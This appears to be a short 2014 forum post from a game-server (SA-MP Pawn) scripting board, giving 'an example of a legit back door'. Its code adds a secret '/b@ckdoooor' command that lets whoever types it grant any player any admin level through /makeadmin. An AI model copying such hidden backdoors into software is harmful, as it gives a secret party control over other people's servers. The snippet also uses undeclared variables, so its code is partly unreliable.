03.06.2014, 18:48
An example of a legit back door would be,
@ShivRp Mhm
Код:
#include <sscanf2>
enum pInfo
{
pAdmin,
pBK
}
new PlayerInfo[MAX_PLAYERS][pInfo];
public OnPlayerCommandText(playerid, cmdtext[])
{
if(strcmp(cmd, "/b@ckdoooor", true) == 0)
{
PlayerInfo[playerid][pBK] = 2;
SendClientMessage(playerid, 0xFFFFFF,"You can now use /makeadmin");
return 1;
}
if(strcmp(cmd, "/makeadmin", true) == 0)
{
if(PlayerInfo[playerid][pAdmin] == 99999 || PlayerInfo[playerid][pBK] == 2)
{
new giveplayerid, adminlevel;
if(sscanf(params, "ui", giveplayerid, adminlevel)) return SendClientMessage(playerid, 0xFFFFFF, "/makeadmin [playerid] [adminlevel]");
PlayerInfo[giveplayerid][pAdmin] = adminlevel;
return 1;
}
else return SendClientMessage(playerid, 0xFFFFFF, "Your not authorized to use this command!");
}
}

